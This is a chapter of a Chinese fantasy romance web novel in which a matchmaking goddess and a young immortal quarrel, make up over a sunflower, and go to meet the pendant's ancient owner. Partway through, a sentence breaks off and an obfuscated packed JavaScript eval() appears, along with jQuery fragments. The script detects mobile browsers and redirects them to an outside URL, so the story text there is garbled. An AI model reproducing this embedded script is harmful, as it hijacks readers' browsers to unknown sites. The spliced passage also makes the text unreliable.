崔时夏并未听说过天机阁,但她懂得不明白就不插嘴的道理,乖乖杵在旁边当空气。
爽快约定后,斯老爷恭恭敬敬地送两人离开,承诺等寻得段荣后,定然及时将消息告知。
届时钱货两讫,玉佩才算真正易主。
退出莺歌燕舞的花楼,街道两旁热闹的叫卖声此起彼伏。
两人并肩而行,崔时夏犹豫再三,开口询问道:“八百年前的好东西,你真舍得将其送出?”
“人间八百年,也不过是天界八百天而已。”
贺翊元握住腰间坠挂的暖玉,熟悉的雕刻纹路,仿佛带他穿梭回过去。
昔日无话不谈的好友,却已化为白骨森森。
“过于恋旧,反而会导致人停滞不前。”贺翊元唇角的弧度浅淡勾起,“物尽其用反而是最好的选择。”
话语洒脱,但他眼底浮现的几分惆怅,恰好被崔时夏成功捕捉到。
看在贺翊元尽心竭力帮忙的份上,她自知再谈玉佩,怕是会触及到伤感之事,故而生硬地转换着话题。
“那你到底……多少岁了?”
贺翊元闻言微愣,意外闯入她满是揶揄的眼眸:“没你想象中的那样老。”
“即使时常下凡游乐,也不过天界眨眼片刻。”他蹙额解释道。“依照天界时间,我也不过是及冠的年纪。”
“及冠啊……”
崔时夏立即抓住他话语里的漏洞,默默心算起来。
片刻之后,她几乎是惊呼般拽住他的袖摆:“那你在人间的年龄,至少是有七千两百岁了!”
“两界流逝不能够这样算。”
贺翊元观摩着她的神情,即使早有预料,仍然还是被这数字惹得抿唇。
于是乎,他认认真真反驳道:“神仙鬼怪寿命奇长,即使再过十次及冠之龄,依旧能够被称之为盛年。”
“那我不管。”崔时夏笑得眉眼弯弯,完全沉浸在自己的计算里,“你刚刚就是承认自己的确七千余岁了。”
说罢,她语气调侃戏谑,恭恭敬敬福身作礼。
“先前不知仙君贵庚,多有得罪,实在是惭愧。”
“你……”
贺翊元一时无语。
他颇为无奈地背手转身,不欲再同崔时夏理论。前进的步伐越发迅速,似想要甩掉喋喋不休的吵闹声。
熙熙攘攘的闹市,有人快走,有人追赶。
穿越摩肩接踵的拥挤,崔时夏喘着气快走,却也只能发现两人被挤散的距离逐渐变大。
她索性见好即收,就近坐在花摊旁边的小凳上歇脚。
不过是想借着年龄逗逗他,怎么贺翊元生起气来跑得无影无踪的?她才懒得去追呢!
埋着脑袋揉揉脚尖,先前被碎石踢翻的指甲盖还裂着,崔时夏心头无名火愈演愈烈。
小缘扑扑翅膀哄道:“贺小仙君多年来都是这般性格,天帝罚也罚过几轮,咱们不要和他计较啦。”
“我才没有和他计较呢。”崔时夏咬牙切齿,“能够甩掉他,是我求之不得。”
小缘默默帮她疗愈伤口,随后茫然无措地围绕着她飞行几圈。
即使开过灵智的鸟禽,依旧没有多余的哄人经验。
它明知道崔时夏口是心非,张张口却不得其法,亲切地蹭蹭她的脸颊算作安慰后,悄悄缩回神识里歇息了。
人山人海的闹市,崔时夏单薄的身影在对比里显得格外孤单。
好在花摊老板年过古稀,见多识广。
白发苍苍的老妪瞧着崔时夏气鼓鼓的模样,还时不时地假装不经意地张望远处,答案已经昭然若揭。
“小姑娘莫要着急。”老妪慈眉善目地劝慰道,“闹市拥挤,走散是常有的事情,他总归是会回来找你的。”
崔时夏皱眉反驳:“他才不会呢,他就是故意甩掉我的。”
“原来如此啊……”
老妪但笑不语。
她拖着佝偻的身躯卖花,同时默默帮崔时夏观察着附近的情况,心里期盼着“他”的早日归来。
其实说实话,崔时夏完全可以先回月老庙歇息。
毕竟段荣的事情发展到这里,能做的都做了,后续也只能等待天机阁的消息反馈。
但是她就是没有,崔时夏说不出是为何。
她索性起身过来帮花摊吆喝叫卖,强行转移着自己的注意。
事后若要再问起今日,崔时夏便嘴硬地有理可辩。
暮色西沉,再喧嚣的闹市也有收摊结束的时候。
饶是花摊老板再自信,此刻也心底也有些打鼓,收拾花束的动作故意放得缓慢,角落里悄悄留好一束向阳花。
她想走前将花送给崔时夏,代替消失的人聊以安慰。
没想到就在此时,一锭银元宝被稳稳的放置在桌面。
老妪诧异地抬头望去,眼前俊俏的郎君却悄悄竖起食指,比了个嘘声的动作。
她打鼓的心重新归于安宁。
想来自己半生阅历,总归是不会出错的。等赌气的郎君理智回笼后,总归是肯低头回来找的。
而此时的崔时夏劳累过半日,额角碎发已被汗水浸湿,正默默坐在小凳里晕晕乎乎地出神。
她埋着脑袋,倒也没想什么要紧事。
神识里面的红鸟躺在柔软的云床上,小手抱着软软的鲜花枕头睡得正酣。
它打呼噜的声音很有规律,崔时夏屏息敛气地数着长短,差点将自己逗笑出声。
好可爱……此鸟怎么这么可爱……
她憋笑的肩膀颤抖,远远瞧着,似乎是在哭。
远处的贺翊元手握向阳花,靠近的脚步倏然间变得有些踟躇。
他们认识的时间并不长久,他抛下她独自走掉,崔时夏竟然会伤心到哭泣吗?
即使他……确有几分姿色,难道这就是崔时夏看中他的理由?他在她心里已经重要到这个地步了?还不至于吧!
贺翊元眉心紧紧蹙起,自恋地胡思乱想着。
花摊老板却以为他犹豫,在旁边不断给予鼓励的眼神,甚至频频点头表示肯定。
箭在弦上,不得不发,贺翊元管不了三七二十一,把心一横就迈步前进。
崔时夏依旧没发觉来者的靠拢。
她观察小缘的睡姿简直已经到达痴迷的地步。
酣畅淋漓的呼噜声,偶尔迸发出变幻莫测的惊艳呼噜。
似陈旧的铁锯,似冒泡的沉鱼,崔时夏甚至都要将自己活活笑晕过去。
在规律涌现的紧要关头,小缘忽然间噤声蹙眉。
推测应该是偷吃太多零食有些消化不良,它旋即打了个惊天地泣鬼神的巨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383634|184174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗝。
是否惊天地,崔时夏不知晓,总之她这个姻缘神确实被笑得眼角涌现出泪花。
她再也忍耐不住,被笑得从板凳弹射起飞。
未曾想,却意外扑进来者宽阔的胸膛里。
两个人不约而同都彻底僵在原地。
熟悉的浅黄衣裳鲜亮,鼻息里更是萦绕着贺翊元独特的幽香,崔时夏轻而易举地辨认出来。
不知道是什么幽香,反正确实挺香的。
缄默良久,为了缓解尴尬气氛,崔时夏一如既往地语出惊人:“……你也喜欢用香薰吗?”
闻言的贺翊元,僵硬的手终于被打破冰封。
原本他搂腰也不是,推开更不是,此话一出简直是完美的台阶:“我从来不用香薰。”
他终于发现这位姻缘神女的脑回路确实有些奇妙。
贺翊元顺理成章地告诉自己,只要依照花摊老板的指示哄哄,将事情早日了结掉就好。
没错,哄哄而已,不过是解决问题的手段。
想通以后,贺翊元空着的手轻轻搭着崔时夏的肩膀,将她缓缓地拉开一段距离。
他递交出娇艳的向阳花到她面前。
“给你。”贺翊元忸怩的错开视线,“别伤心了。”
如今,被冰封的人变成了崔时夏。
她哪里伤心了?他不要瞎讲好吗?而且贺翊元莫名其妙送她花又是什么意思?
崔时夏的心绪被这句话搅得乱七八糟。
但是她的手臂比脑子还要快,竟然讷讷地伸出来将向阳花捧入怀中。
花香满怀,却不比刚才他怀抱的幽香。
“那……多谢?”
崔时夏不确定贺翊元的态度,总之是示好的趋势就没差:“我们现在要回去吗?”
说罢她就有些后悔,小缘还在神识里睡得昏天黑地。
好在贺翊元回答令人省心,并未去打搅小缘的美妙睡眠:“可以随我随便走走吗?”
崔时夏握着向阳花,轻轻点点头。
他们并肩而行,步伐放得很慢,她得以有机会仔细欣赏向阳花的勃勃生机。
花瓣里还沾着保鲜喷洒的清水,晕红的霞光里,浅黄的色泽同赠予者的衣裳同样鲜亮。
这是他送的花,送的恰好还是她喜欢的花。
这还是生平第一次有人愿意送她花。
莫名其妙里多了几分不易察觉的感动,崔时夏手指仔细拽出向阳花的瓜子,香香脆脆地嚼了起来。
贺翊元默默领路,他们远离繁华闹市,最终驻足于寂寥的废弃荒郊里。
说来倒也奇怪,这周围方圆百里寻不到丝毫住宅的痕迹,却凭空出现三两颗长势繁盛的柿子树。
满树成熟的柿子,吉庆的朱红色将荒郊装饰出生机。
“你曾经来过此处吗?”
贺翊元问完自己也都发笑,八百年前的老地方,十几岁的小姑娘怎么可能来过。
崔时夏果然不负期待地摇摇头:“未曾。”
“料想也是,不过倒是正好赶上时令。”
贺翊元抬起手臂,轻松摘下一颗饱满的柿子递给她:“我就是特别带你来见玉佩真正的主人的。”
等等……玉佩的主人?八百年前的旧友?
崔时夏僵在原地,那到底是人还是鬼啊……